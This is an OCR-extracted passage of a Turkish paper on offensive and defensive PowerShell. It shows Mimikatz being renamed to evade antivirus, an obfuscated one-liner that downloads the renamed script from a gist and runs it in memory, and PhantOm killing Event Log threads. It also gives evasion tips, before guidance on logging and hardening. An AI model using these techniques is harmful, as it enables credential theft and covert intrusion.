kodun yaptigl tek sey ekrana Mimikatz kelimesini yazmaktir ve devaminda da VirusTotal Gzerindeki

tarama sonucu verilmistir.
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Invoke-Mimikatz.ps1

function Invoke-Mimikatz {

<#

.SYNOPSIS

This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to
reflectively load Mimikatz completely in memory. This allows you to do things
such as

dump credentials without ever writing the mimikatz binary to disk.

The script has a ComputerName parameter which allows it to be executed against
multiple computers.

This script should be able to dump credentials from any version of Windows
through Windows 8.1 that has PowerShell v2 or higher installed.

Function: Invoke-Mimikatz

Author: Joe Bialek, Twitter: @JosephBialek

Mimikatz Author: Benjamin DELPY “gentilkiwi®. Blog: http://blog.gentilkiwi.com.
Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi

License: http://creativecommons.org/licenses/by/3.0/fr/

Required Dependencies: Mimikatz (included)

Optional Dependencies: None

Mimikatz version: 2.0 alpha (12/14/2015)

#>
Write-Output "Mimikatz"
(5 C' @ Secure https://virustotal.com/#/file/34c8e78298085f735433adacaf99c41d80f8def47e6205d8f5b6c7474ce5d3ec/detection w
2 Search or scan a URL, IP address, domain, or file hash Q ﬂ EEE Sign
4 engines detected this file °
SHA-256 34c8e78298085(735433a4acaf99c41d80fBdef47e6205d8f5b6c7474ce5d3ec
File name Invoke-Mimikatz.ps1
File size 907 B
4 / 58 Lastanalysis ~ 2017-08-14 17:46:49 UTC
Detection Details Community
McAfee A\ HToolEmpireagent McAfee-GW-Edition A\ HTool-Empireagent
Microsoft A\ HackToolWin32/Mikatz!dha Sophos AV A TroyMimik-B
Ad-Aware 0 Clean AegisLab ° Clean
AhnLab-v3 0 Clean AlYac Q Clean

Sekil 20 - Ornek Tarama Sonucu

Invoke-Mimikatz.ps1 scripti incelendiginde icerisinde bircok yorum satiri (+250 satir) oldugu
gorulecektir ve yorum satirlari Script'in calismasina engel degildir. Herhangi bir dosyada bir byte
degisir ise dosyanin imzasi degisir ve dogru byte/bytelar degisirse glivenlik dnleminin imza tabanli
tespitinden Kkagilabilir. Bu noktada yorum satirlari temizlenmistir ve asagidaki degerler
karisiklarindaki degerler ile degistirilmistir.
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Onceki Deger Sonraki Deger

Invoke-Mimikatz Invoke-Leglt
DumpCreds DpCr3dz
DumpCerts DpC3rtz

$TypeBuilder $T3Bulld
NoteProperty "N ot e Pr o p erty

Yorum satirlarinin temizlenmesi ve ardindan yapilan bes adet degisiklik ile tespit orani 29'dan 12'ye
kadar dusgmustur. Asagidaki ekran gérintusinde de goruldugu gibi sadece ilgili degisiklikler ile
bircok glvenlik Grinu dosyay! temiz olarak gérmektedir. Karmasiklastirma teknikleri kullanilarak
script Uzerinde degisiklikler yapilmaya devam edilirse tespit orani 0'a kadar inecektir.

& C' | @ Secure https://virustotal.com/#/file/76a28964cd2ea70f9ac04acdbf6103cec3e1ec299172¢c0e57ebc0f68¢1e99028/detection %4

Z Search or scan a URL, IP address, domain, or file hash Q Q EEE Sign

é 12 engines detected this file °

SHA-256 76a28964cd2ea70f9ac04acdbf6103cec3e1ec299172c0e57ebc0f68c1e99028
TXT File name Invoke-Legitpst
File size 209 MB
Last analysis ~ 2017-08-15 11:34:13 UTC
Detection Details Community
Ad-Aware A Application.Hacktool.QV Arcabit A Application.Hacktool.QV
BitDefender A Application Hacktool.QV Emsisoft A Application.Hacktool.QV (B)
eScan A Application.Hacktool.QV ESET-NOD32 A PowerShell/Injector.D
F-Secure A Application.Hacktool.QV GData A Application.Hacktool.QV
Ikarus A HackTool Win32 Mikatz Kaspersky A HEUR:Trojan.Script.Generic
MAX A malware (ai score=72) ZoneAlarm A HEUR:Trojan.5cript.Generic
AegisLab @ Clear AhnLab-v3 @ Clean

Sekil 21 - Script Tarama Sonucu

Son olarak olusturulan script Github’a yuklenmistir ve asagidaki 6rnek komut kullanilarak hedef
sistem Uzerinde calistirilmistir.

&("{0}{1}{2}{3}" -f 'Invoke-Express','i','o','n"') (&("{1}{0}{2}" -f 'Obj', 'New-
",'ect")

System.Net.WebClient).DownloadString( 'https://gist.githubusercontent.com/anonymo
us/03cfe65e513ebadf9e8169391d121163/raw/1f77483f9afd738def5abc7c9e3e818624674a09
/Invoke-Leglt.psl'); .("{2}{0}{1}"-f 'nvo', 'ke-Leglt','I") -Command
"privilege::debug exit"
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2. Administrator: Windows PowerShell

fWindows PowerShell
§ Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\WINDOWS\system32> &( ) System.N|
et.WebClient).DownloadString(

LHEHEE . mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
L## ~ ##. "A La Vie, A L'"Amour”
## / \ # /> * =

## \ / ## Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
‘## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo0)
i with 20 modules * * */
ERROR mimikatz_initOrClean ; CoInitializeEx: 80010106

mimikatz(powershell) # privilege::debug
Privilege 20" OK

mimikatz(powershell) # exit
Bye!

PS C:\WINDOWS\system32>

Sekil 22 - Script'in Calistiriimasi

2.5. PhantOm

PhantOm Windows Event Log servisini hedef alan bir PowerShell scriptidir. Windows isletim
sistemine gerceklestirilebilecek hemen hemen tim saldirilarda en fazla iz Windows Event Log
mekanizmasi tarafindan toplanacaktir ve bu izler loglarda gozukecektir. PhantOm calistinldig
sistemde Event Log servisinin kendisine ait threadleri durdurarak sistemin log toplamasini
engellemektedir ve sadece ilgili threadler durduruldugu icin Windows Event Log servisi ¢alisiyor
gozukecektir.

Eger Windows Uzerinden calisan herhangi bir servis bu sekilde hedef aliniliyorsa dncelikle Windows
Uzerinde servislerin nasil calistigi konusuna deginilmekte fayda vardir. Herhangi bir Windows
isletim sisteminde gorev ydneticisi vb. bir arag ile calisan processlere bakildigi zaman bircok
svchost.exe gorulecektir.

[#] svchost.exe 3252 2,98 MB NT AUTHORITYANETWORK SERVICE Host Process for Windows Services
[¥] svchost.exe 2416 1,13MB NT AUTHORITY\SYSTEM Host Process for Windows Services
(8] svchost.exe 1748 3,79 MB NT AUTHORITY\SYSTEM Host Process for Windows Services
[ svchost.exe 1648 461 MB NT AUTHORITY\SYSTEM Host Process for Windows Services
[ svchost.exe 1332 12MB NT AUTHORITYA\LOCAL SERVICE Host Process for Windows Services
[ svchost.exe 1212 002 552B/s 6,15MB NT AUTHORITYANETWORK SERVICE Host Process for Windows Services
(5] svchost.exe 952 0,03 3MB NT AUTHORITY\LOCAL SERVICE Host Process for Windows Services
[ svchost.exe 944 7,29 MB NT AUTHORITVALOCAL SERVICE Host Process for Windows Services
[ svchost.exe 900 499 MB NT AUTHORITY\SYSTEM Host Process for Windows Services
[ svchost.exe 816 0,73 1,04kB/s 2505MB NT AUTHORITY\SYSTEM Host Process for Windows Services
(] svchost.exe 700 3,89 MB NT AUTHORITYANETWORK SERVICE Host Process for Windows Services
[#] svchost.exe 644 51MB NT AUTHORITY\SYSTEM Host Process for Windows Services
(8] svchost.exe 456 1,34 MB NT AUTHORITV\SYSTEM Host Process for Windows Services
[#5] svchost.exe 452 014 238kB/s 20,11 MB NT AUTHORITY\LOCAL SERVICE Host Process for Windows Services

Sekil 23 - svchost.exe

Windows isletim sisteminde ¢ogu servis dzellikle sistem servisleri svchost.exe altinda thread olarak
caligir. isletim sistemleri maksimum verimi hedeflemektedir ve bu verimi elde etmek icin farkli
yonetim metodolojileri gelistirmislerdir. Birden fazla servisi bir processte toplayip ve thread olarak
calistirmak hem servislerin ydnetimini hem de sistem kaynaklarinin daha fazla korunarak
paylastirilmasini saglar. Windows isletim sisteminde bu sekilde bir tasarima gidilmesinin sebebi
temelde verimliligi artirmaktadir.
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PhantOm’un calistirildigl sistem Uzerinde gerceklestirdigi adimlari kisaca 6zetleyecek olursak;

% Windows Event Log servisinin process'i (svchost.exe) tespit edilir.
% Process'e ait tum threadler icerisinde Event Log Servisine ait threadler tespit edilir.
% Event Log Servisi ile ilgili olan threadler durdurulur.

PhantOm basaril bir sekilde calistigi zaman Event Log servisi ¢calisiyor gézukecektir ancak sistem
log toplamayacaktir, log toplayamadigi icin herhangi bir lokasyona da log génderemeyecektir.
Ozetle, her sey calisiyor gézukecektir ancak Event Log altyapisi calismiyor durumda olacaktir.

LENEral DIAUSDCS  FEMTOMMANCE  ''"Sowe  [OKEN  MOGUIES | MEMOry TNVFONMENT | Mandies  SErVICes LM LASK NG INETWORK | Lomment

TID CPU  Cydesdelta Startaddress Priority Service
1036 svchost.exe +0x3440 Normal

1164 ntdl.dlEtwEventRegster +0x50 Normal

1180 ntdll.dlIEtwEventRegister +0x50  Normal

1192 ntdll. Al EtwEventRegster +0x50 Normal

1368 109.737 ntdl.dl'EtwEventRegister +0x50 Noemal

2104 51.117 ntdl.dlEtwEventRegister 40x50 Normal

237% 0,03 779.342 ntdl.dlIEtwEventRegster +0x50 Normal

1364 65.860 audiosrv.dl+0x40000 Normal Audosry
3996 44.867 combase.dl!CoFreeUnusediibra. Normal Audiosrv

1212 8.368 sechost.diiRegisterServiceCtrH, Normal Dhep
dhcpeore6.di! DhcpvEMain Normal &3 Administrator: Windows PowerShell =

PS C:\Users\PoC\Desktop> Invoke-Phantem

48 cmintegrator x1130 Normal
1330 52,821 wamsve.dl'WonSveMan+0x10260 Normal

4748 c.dliServiceMan+0x2410  Normal
4752 c.dliServiceMan+0x1580  Normal
I'm here to blur the line between life and death...
Enumerating threads of PID: 1032...
Parsing Event Log i
read 1160 S

Thread

Start modde:

Started N/A +] All done, you are ready

State: N/A Priority: N/A

Kernel time: N/A Base priority:  NJA PS C:\Users\PoC\Desktop>

User time: N/A 1/0 priority: N/A

Context switches:  N/A Page priority:  N/A

Cydes: N/A Ideal processor:  N/A

Sekil 24 - PhantOm

PhantOm'un tam olarak nasil calistigl ile alakali detaylara PhantOm: Killing Windows Event Log
makalesi Uzerinden erisilebilir. PhantOm’un yaptiklari PowerShell'in ne kadar guclu bir dil olduguna

glzel bir 6rnektir. PowerShell Gzerinde high-level islemler yapilabildigi gibi tipki PhantOm’un yaptig
gibi low-level islemler de yapilabilir.
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2.6. Sonug

PowerShell, bélimun girisinde de sayilan yetenekleri ve sagladigi esneklikler sebebiyle hedefler
(6zellikle Windows sistemler) Uzerinde normal sartlarda bircok gtivenlik dnlemine takilmadan ve az
iz birakarak bircok islemin yapilmasina olanak saglayabilir. Bu nedenle PowerShell hedef sisteme
sizmak ve sizdiktan sonra gerceklestirilecek yanal hareketler (lateral movement) icin buyuk oranda
tercih edilmektedir. Sizma testlerinde PowerShell kullanimi ile alakall 6éneride bulunacagim bazi

noktalar asagidaki gibidir;

*,
0.0

®,
*

Hedef sistem Gzerinde PowerShell v2 var ise kullanin, cinkd PowerShell v2'de loglama
yetenegi bulunmamaktadir. Boylece daha az iz birakirsiniz.

Yiksek yetki seviyesine (hak ylkseltme veya baska bir yol ile) erisebildiginiz anda
PhantOm'u cahlstirin. PhantOm saglikh bir sekilde calistiktan sonra Windows log
toplayamayacaktir (Security ve System loglarinin silindigine ait loglar harig), yaptiginiz ise
hakimseniz neredeyse hic iz birakmadan isinizi tamamlayabilirsiniz.

PowerShell tabanli saldinlar icin kendi gelistirildiginiz ara¢ yerine var olanlar
kullanacaksaniz kesinlikle Obfuscation (Karmasiklastirma) tekniklerinden yararlanin.
PowerShell'i cagiracaginiz dosya formati icerisinde davranissal tespitlere karsi kendi
yontemlerinizi gelistirin. Ornegin, Macro kullanarak PowerPoint dosyasi (izerinden
PowerShell'i c¢agiracaksaniz, VBScript dilindeki AutoOpen fonksiyonu yerine baska
fonksiyonlar kullanin. Herkes ilgili fonksiyonu kullanarak payloadini tetikledigi icin gtivenlik
¢6zumleri tarafindan dosyaniz direkt olarak zararli tespit edilecektir. Ornegin payloadiniz
dosya acildiginda degil slayt degistiginde, tam ekran oldugunda tetiklensin. Béylece bircok
davranissal tespit yapan guvenlik ¢6zimunu atlatabilirsiniz.
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3. Defansif PowerShell

Yukaridaki bélumlerde PowerShell'in ne kadar gticlu bir dil oldugundan ve ofansif tarafin elinde ne
kadar guclu bir silaha dénusebileceginden mumkuin mertebe bahsedilmistir. Peki, “PowerShell bu
kadar gucli iken onu korumak mumkin midir?”. Daha dogru bir ifade ile “PowerShell tzerinden
gerceklestirilecek saldirilara karsi sistemlere nasil bagisiklik kazandirilabilir?”. Oncelikle savunma
tarafina gecildiginde glc¢siz olunmadigl aksine ihtiya¢ duyulan hemen hemen her seye sahip
olundugunun bilinmesi gerekiyor. Ornegin asagidaki tablo Lee Holmes tarafindan yapilan “Azure
Management Security, April 10, 2017, Comparison” isimli arastirmadan alinmistir ve PowerShell'in
diger scripting dilleri ile glivenlik bakis agisiyla olan karsilastirmasini icermektedir.

Bash No** No® No No Yes No No* Yes No

CMD / BAT No No No No Yes No No No No
Jscript No No No No Yes Yes No No No
LUA No No No No No No No* Yes Yes
Perl No No No No No No No* Yes Yes
PHP No No No No No No No* Yes Yes
Powershell Yes Yes Yes Yes Yes Yes Yes Yes No**
Python No No No No No No No No No**
Ruby No Na No No No No No** No** Yes
sh No** No*® No No No No No* Yes No
T-50L Yes Yes Yes No No No No** No** No
VBScript No No No No Yes Yes No No No
2sh No** No* No No No No No* Yes No

* Feature exists, but cannot enforce by policy
** Experiments exist

Sekil 25 - Karsilastirma

Yukaridaki karsilastirma tablosundan da anlasilacagi tzere PowerShell icin dogru yapilandirma ve
sikilastirmalar yapilirsa saldirilara karsi ciddi oranda bagisikhk kazanilabilir. Devam eden
basliklarda ilgili yapilandirma ve sikilastirma konularindan bahsedilmistir.

3.1. PowerShell Downgrade Saldirilari

PowerShell tabanli saldiri yéntem ve araclar incelendiginde buyUk ¢ogunlugu direkt olarak
PowerShell v2'yi kullanmayi hedeflemektedir. Bunun nedeni, PowerShell v2'de “loglama”
mekanizmasinin bulunmuyor olmasidir. Yani, normal sartlarda PowerShell v2 kullanilan bir
saldirlya maruz kaldiginizda neredeyse hicbir sey hissetmeyeceksiniz. Windows 7 ve Server 2008
R2 dahil sonraki tum Windows isletim sistemlerinde PowerShell v2 kurulu olarak gelmektedir ve
.NET Framework 2.0 yUklu ise kullanilabilir durumdadir.

Saldirganlarin, sistemde yUklu ve varsayilan olarak kullanilan PowerShell versiyonundan daha
dusuk versiyonu (genelde tercih edilen PowerShell v2'dir) kullanarak gerceklestirdikleri saldirilara
PowerShell Downgrade Saldirilari denir. Saldirganlar bu saldiriyi iki sekilde gerceklestirebilirler.
Birincisi, PowerShell komut satiri Gzerinden powershell -version 2 seklinde yeni bir PowerShell
oturumu baslatarak bunu gerceklestirilebilirler. ikinicisi ise bir C# uygulamasi igerisinden
(derlerken PowerShell v2 kituphanelerini ¢agirarak) PowerShell ara yuzine erisim saglayarak
gerceklestirirler. Bunu 6nlemek icin akla PowerShell v2'ye ait powershell.exe'nin kullaniminin
engellenmesi gelebilir ancak bu kesin ¢6zim olmayacaktir. Cinku saldirganlar ikinci secenegi
sectiginde kolayca PowerShell v2'ye kolayca erisebilir. Bu sekilde gergeklestirilen bypass ydntemine
ait bilgi yukaridaki bélimde, PowerShell > powershell.exe anlatiimistir.

Bu noktada gerceklestirilen downgrade saldirilarini tespit etmenin bazi yollari bulunmaktadir.
Ancak ekstradan c¢aba sarf etmeye gerek yoktur cunki PowerShell'in su an icin kararli son
versiyonu olan PowerShell v5 ile ileri dizey glvenlik mekanizmalari gelmistir. Hali hazirda
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PowerShell v5 varken PowerShell v2'nin islevsiz hale getirilmesi en saglikh yol olacaktir. Windows
10 isletim sistemlerinde PowerShell v2 asagidaki gibi islevsiz hale getirilebilir.

_ z o - ST :

! Windows Features

Turn Windows features on or off

To turn a feature on, select its check box. To turn a feature off, clear its check box. & filled box
means that only part of the feature is turned on.

= [
=

|
]
O
|
]
H
|
]
]

Services for MFS

Simple Metwork Management Protocol (SMMP)
Simple TCPIP services (i.e. echo, daytime etc)
5ME 1.0/CIFS File Sharing Support

SME Direct

Telnet Client

TFTP Client

Windows |dentity Foundation 3.5

Windows PowerShell 2.0

[ | Windows PowerShell 2.0 Engine

Windows Process Activation Service
Windows 5ubsystem for Linux (Beta)
Windows TIFF IFilter

Work Folders Client

XPS Services

KPS Viewer

Sekil 26 - PowerShell v2'nin Kaldirilmasi

3.2. PowerShell v5 Guvenlik Gelistirmeleri

PowerShell Uzerinden yapilacak saldirilara karsi bagisiklik kazanilmak isteniyorsa suan son kararl

versiyon olan PowerShell v5'e ytkseltme yapiimasi énemlidir. PowerShell v5 asagidaki isletim

sistemleri Uzerinde glncellestirme veya manuel kurulum yolu ile kullanabilir durumdadir.

Windows 10 ve Windows Server 2016 isletim sistemlerinde ise kurulum ile beraber gelmektedir.

% Windows 7 Service Pack 1

%  Windows Server 2008 R2 Service Pack 1
< Windows 8.1

% Windows Server 2012
% Windows Server 2012 R2

PowerShell v5 ile bircok yeni 6zellik gelmistir ancak glvenlik gelistirmelerine bakildigi zaman da iyi

dzelliklerin  geldigi  gordlebilir. lgili guvenlik gelistirmeleri asagida verilmistir ve ilerleyen

bélumlerde iceriklerine deginilmistir.

% Script Block Logging
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o
*

» Transcript Logging
» Constrained PowerShell Mod
% Anti-Malware Integration (AMSI)

D3

%

3.3. Event Log

Eger Windows isletim sisteminde gerceklestirilen saldirilara ait izler tespit edilmek isteniyorsa en
biytk dostunuz Event Log mekanizmasidir. Normal sartlarda iyi yapilandirilmis bir Event Log
mekanizmasina sahip Windows isletim sisteminde, saldiri sonrasi sistem Uzerinde birakilmis izleri
tespit edemeyeceginiz ¢ok az saldin tlrd vardir. Temelde yapilmasi gereken Event Log
mekanizmasinin dogru yapilandiriimasi ve toplanan loglar icin dogru korelasyon kurallarinin insa
edilmesidir. Devam eden basliklarda PowerShell tarafindan Uretilen log cesitleri hakkinda detayl
bilgiler verilmistir.

3.3.1.Module Logging

PowerShell v3.0'dan itibaren bulunan modul loglama &zelligi ile PowerShell'de belirli Cmdlet'lere
ait moduller icin log GUretmenize olanak saglar. Bu loglama turinde Pipeling ile ¢calistirmalari, bazi
obfucate edilmis kisimlari ve bazi komut/komutlar dizisinin ¢iktilarini kayit edebilir.

Bu tdr loglamayi sistemde a¢mak icin Administrative Templates > Windows Components >
Windows PowerShell yolu izlenip “Turn on Module Logging” degerinin durumu aktif hale getirilir.

File Action View Help
e | a5 =2 EBET
Software Protection Platform A || Setting 23 Turn on Module Logging [m] X

il Sound Recorder 1 Tum on Module Logging

=
;‘fmh 2} Tum on PowesShell Script Block Logging | I 1 o Module Logging Next Setting
ore 12| Tumn on Script Execution
| Sync your settings -
| Tablet PC

Task Scheduler [ Set the default source path for Update-Help

Windows Calendar

* Windows Color System O Disabled
Windows Customer Experienc
Windows Defender Antivirus

* Windows Defender Applicatio
Windows Defender SmartScre Options: Help:
Windows Error Reporting

7| Windows Game Recording an
Windows Hello for Business

|£=] Turn on PowerShell Transcription O NotConfigured ~ Comment:
@ Enabled

Supported on:

At least Microsoft Windows 7 or Windows Server 2008 famity ‘

To turn on logging for one or more medules, click
Show, and then type the module names in the list,
Wildcards are supported.

This policy setting allows you to tum on logging for

Windows Ink Workspace Windows PowerShell modules.

| Windows Installer

| Windows Logon Options Module Names | Show...
Windows Mail

| Windows Media Digital Rights

“ Windows Media Player

If you enable this policy setting, pipeline execution events
for members of the specified modules are recorded in the
Windows PowerShell log in Event Viewer. Enabling this policy
setting for a module is equivalent to setting the
LogPipelineExecutionDetails property of the module to True.

To turn on logging for the Windows PowerShell core
medules, type the following module names in the

list:
Windows Messenger fyou disable this policy setting, | ¢ execut .
! : Microsoft PowerShell* you disable this policy setting, logging of execution events
Windows Mobility Center ! W is disabled for all Windows PowerShell modules. Disabling this
_ Windows PowerShell Microsof WSMan Management policy setting for a module is equivalent to setting the
Windows Reliability Analysis LogPipelineExecutionDetails property of the module to False.
Windows Remote Manageme
9 Windows Remote Shell . P” "‘I'f “;‘j‘*;;,e“iggtisl"“‘ ‘“"i‘;“’f"' "“d .
ogPipelineExecutionDetails property of a module or snap-in
Windows Update determines whether the execution events of a module or snap-in
Work Folders are logged. By default, the LogPipelineExecutionDetails property
©. All Settings of all modules and snap-ins is set to False.
~ g, User Configuration ©

Software Settings

| Windows Setgs G| [ e

| Administrative Templates

v
< > |\ Extended ) Standard /
5 setting(s)

Sekil 27 - Modiil Loglama Ozelliginin Aktif Hale Getirilmesi

Ardindan “Show” butonuna tiklanarak hangi moddullerin loglanacagl belirlenir. Burada * degerini
kullanarak tim moddillere ait aktivitelerin loglanmasini saglayabilirsiniz. Ayni zamanda asagidaki
kayit defteri girdilerinin sahip olduklari degerler belirtilen sekilde dizenlenerek de ayni islemi
gerceklestirilebilir.
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% HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Moduleloggi
ng
» EnableModulelogging = 1
+  HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModulelLoggi
ng \ModuleNames
>*=*

Tavsiye edilmese de spesifik modullerin loglanmasini saglamak i¢cin modul adinin yazilmasi yeteli
olacaktir. ihtiyaciniz olan modil adindan emin degilseniz, kullanilabilir tim modul adlarinin bir
listesini yazdiracak Get-Module -ListAvailable PowerShell Cmdlet'ini calistirabilirsiniz. Bdylece
ExportedCommands sttununda, modullin bir parcasi olarak bulunan Cmdlet'leri gorebilirsiniz.

22 Windows PowerShell
4s PowerShell
yright (C) 2016 rosoft Corporation. All rights r

sers\hlldz> Get-Module

dowsPowerShell\Modules

rtedCommands

.. {Get-OperationValidation, Invoke-OperationValidation}
gement { -Package, Get-Package, Get geProv , Get-Packag
gement {Find-Package, Get-P. Get-PackagePr , Get-Package!
b ontext, It, Should.
et le, Find-Module, S le, Update-Module.
{Get-PSReadlineKeyHandler, Set-PSReadli eyHandler, Remove-PSReadlineKeyHandler, Get-PSReadlin..

2\WindowsPowerShell\vi.e@\Modules

ExportedCommands

ndTask - iag ticlLog, Enable-AppBac

{Add-AppxPackage, G
{cl ignedAcce A gnedAcce
§ ocker, Suspend-BitLocker, R
{Add-BitsFile, Complete-BitsTransfer

CimCmdlets
ConfigCI

yOptimization (
ctAccessClientComponents y tSelection, Enable-DA¥ Selection, Get-DAClientExp
Add-Windo i g apability, Add-WindowsImage
lientCache, Get-DnsClient, Get-DnsClientCache...}
ession, New-Etw = on, Get-EtwTraceSession, Update-EtwTraceSession
nDefaultInputMethodOverride, Set-WinDefaultInputMethodOverride, Get-WinHomelocatiol
pet, Import-I ippet, Get-IseSnippet}
TargetPortal, N o move-IscsiT etPortal, Update-IscsiTargetPort...
Set-KdsConfiguration. ..}
licrosoft.PowerShell. D) Archive, Expand-Archi
Microsoft.P Shell.Di i { Event, Get-Counter, Import-Counter, t-Counter...}

Sekil 28 - Modul Listesi

Asagida 6rnek olarak Defender moduline ait Get-MpPreference Cmdlet'inin ¢alistiriimasi ile ilgili
loga ait ekran goruntusua verilmistir.
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B Event Properties - Event 4103, PowerShell (Microsoft-Windows-PowerShell)

General  Details

Commandlnvocation(Get-MpPreference): "Get-MpPreference”
ParameterBinding(Get-MpPreference): name="ThrottleLimit"; value="0"
ParameterBinding(Get-MpPreference): name="Aslob"; value="False"

Context:
Severity = Informaticnal
Host Name = ConsoleHost
Host Version = 5.1.15063.502
Host ID = 945ee5fa-d7a3-4772-ad2c-243ab 1362193
Haost Application = C\Windows\Systern32\WindowsP owerShellw1.0\powershell exe
Engine Version = 5.1,15063.502
Runspace ID = Dac2f71e-2ad3-4bca-9e36-348cc0dadde
Pipeline ID = 11
Command Mame = Get-MpPreference
Command Type = Function
Seript Mame =
Command Path =
Sequence Mumber = 82

Leg Mame: Microsoft-Windows-PowerShell/Operational

Source: PowerShell (Microseft-Wind Logged: 10.08.2017 18:28:36
Event ID: 4103 Task Category: Executing Pipeline
Level: Information Keywords: None

Usen DZLAB\hlldz Computer: DZLAE

OpCode: To be used when cperation i

Mere Information:  Event Leg Online Help

Sekil 29 - Module Logging

3.3.2.Script Block Logging

PowerShell tabanl saldirilarda hem guvenlik dnlemlerinden kacmak hem de analiz islemlerini
karmasiklastirip  zorlastirmak adina c¢alstirlan  komutlar encode edilmektedir, yani
karmasiklastirma (obfuscation) kullaniimaktadir. Bu karmasiklastirma islemlerinde genelde
Base64 ile kodlar encode edilir. PowerShell tarafindan duruma bakildiginda encode edilmis bir
kodun calistirabilmesi icin dncelikle bu kodun tersine déndurtp en anlamh haline getirilmesi
gerekiyor, kisaca decode edilmesi veya geriye dondurutlmesi gerekiyor. Béylece asil yapilmasi
gerekenin ne oldugunu anlasilacak ve gerceklestirilecektir. Script Block Loglama mekanizmasi iste
tam bu noktada devreye girmektedir. Kod decode edildikten ve calistirilabilir hale getirildikten
sonra hentiz kod calistirilmadan Event Log mekanizmasina gonderilmektedir ve sonrasinda kod
calisirmaktadir. Yani bu loglama turunde calistinimak istenen kod blogu henlz PowerShell
tarafindan ¢alistirmadan loglanmaktadir.

Bu tur loglamayi sistemde a¢cmak icin Administrative Templates > Windows Components >
Windows PowerShell yolu izlenip “Turn on PowerShell Script Block Logging” degerinin durumu
aktif hale getirilir. Ayrica “Log script block execution start / stop events” secenegi ile calistirilan
script blogunun baslangic ve bitis ile alakali olaylar kayit edilebilir. Kayit edilen ekstra bu bilgiler
forensic calismalarinda degerli bilgiler olsa da cok fazla log Uretilecegi icin ¢cogu sistemde
kullanilmamaktadir.
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File Action View Help

e a5 HE| Y
&3 Tumn on PowerShell Script Block Logging =] X
Software Protection Plat A || Setting
| Sound Recorder =
ek B Turn on Module Logging [} Tum on PowerShell Script Block Logging sy Next Seting
i [ Turn on PowerShell Script Block Logging
ore
ks Script Bxecut - ;
] Sync your settings ool e ol O Not Configured ~ Comment:
i =] Turn on PowerShell Transcription
Tosk Scheduler i) Set the default source path for Update-Help | @ Enabled
| Windows Calendar O Disabled
7 Windows Color System Supported on: |

At least Microsoft Windows 7 or Windows Server 2008 family
Windows Customer Expe

Windows Defender Antiv

| Windows Defender Appl

Options: Help:
Windows Defender Sma
Windows Error Reporting ~

. Windows Game Recordi] [.1tegcript bock Tnvocation strt/ stop et This policy setting enables logging of ll PowerShell script
Windows Hello for Busir input to the Microsoft-Wind Shell/O, et
Windows Ink Workspace log. If you enable this policy setting,

1 Windows Installer Windows PowerShell will log the processing of commands,
Windows Logon Opliois script blocks, functions, and scripts - whether invoked
Windove: Mai interactively, or through automation.

| Windows Media Digital f If you disable this policy setting, logging of PowerShell
Windows Media Player script input is disabled.

Windows Messenger
Windows Mobility Cente If you enable the Script Block Invocation Logging,

T PowerShell additionally logs events when invocation of a

i command, script block, function, or script
Windows Reliability Ana starts or stops. Enabling Invocation Logging generates a
Windows Remote Mana: high volume of event logs.

] Windows Remote Shell
Windows Update Note: This policy setting exists under both Computer

Configuration and User Configuration in the Group Policy Editor.
The Computer Configuration policy setting takes precedence

- All Settings over the User Configuration policy setting. v
v §& User Configuration

Software Settings Cancel Apply

Windows Settings
| Administrative Templates v
| < > Extended A Standard
5 setting(s)

Work Folders

Sekil 30 - Script Block Loglama Ozelliginin Aktif Hale Getirilmesi

Ayni zamanda asagidaki kayit defteri girdilerinin sahip olduklari degerler belirtilen sekilde
duzenlenerek de ayni islemi gerceklestirilebilir.

% HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlock
Logging
» EnableScriptBlockLogging = 1
Bu sekilde toplanan loglar, Application and Services Logs > Microsoft > Windows > PowerShell >
Operational yolunda bulunur. Yazi icin 6érnek bir PowerShell scripti olusturulmustur ve asagida
ilgili PowerShell Script'inin kaynak kodlari verilmistir. Script ilk olarak ekrana “PowerShell Script
Logging Test" yazmaktadir ve arindan isletim sistemi hakkinda belirli bilgileri dondirmektedir.

logTest.ps1

Write-Host "PowerShell Script Logging Test"
Get-CimInstance Win32_ OperatingSystem | Select-Object Caption, Version,

ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory

Script calistirildiktan sonra olusan loga ait ekran goérintisu asagida verilmistir.
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@
File Action View Help
e | 25 HE
NDIS [l Operational Number of events: 517 Actions
NdisimPlatform .
NbakPiotile Level Date and Time Source EventID Task Category ~ | |iOpesstional a
NetworkProvider @ verbose 10.08.2017 19:12:33 PowerShell (Micro... 4104 ExecuteaRemote.. ||z Open SavedLog..
- g ¥ Create Custom View...
NiaSve Event 4104, PowerShell (Microsoft-Windows-PowerShell) x
Nt Import Custom View.
i General Details Clear Log..
NvdimmN 4
s Creating Scriptblock text (1 of 1): Filter Current Log...
i Write-Host “PowerShell Script Logging Test Properties
7 OneBackup -
Onex (Get-Ciminstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, Disable Log
OOBE-Machine-DUI |WindowsDirectory A e
OtpCredentialProvider b e
PackageStateRoaming ScriptBlock ID: 40866059-1810-48d6-292d-268be2addeff
ParentalControls Path: C:\Users\hlldz\Desktop\logTest,ps1
- Partition
PerceptionRuntime
PerceptionSensorDataService
PmemDisk
Policy-based QoS
v 1 PowerShell
] Admin
£] Operational
PowerShell-DesiredStateConfig
;”m;g:!mmmm" PS C:\Users\hlldz\Desktop> .
= ans Log Name: Microsoft-Windows-PowerShell/Operational
intService ~
e Source: PowerShell (Microsoft-Wind Logged: 10.08.2017 18:12:33 i Refresh
PriResources-Deployment
Program-Compatibility-Assista Event ID: 4104 Task Category: Execute 2 Remote Command H Hep »
Provisioning-Diagnostics-Provi Level: Verbose Keywords: None
Proximity-Common User: DZLAB\hlldz Computer.  DZLAB
7 PushNotifications-Platform OpCode: On creste i
ReadyBoost More Information: Event Log Online Help
ReadyBoostDriver
ReFS Xl
< >

Sekil 31 - Script Block Loglama

PowerShell v5 ile gelen bu loglama 6zelliginde, calistirilmak istenen scriptin kod blogu supheli
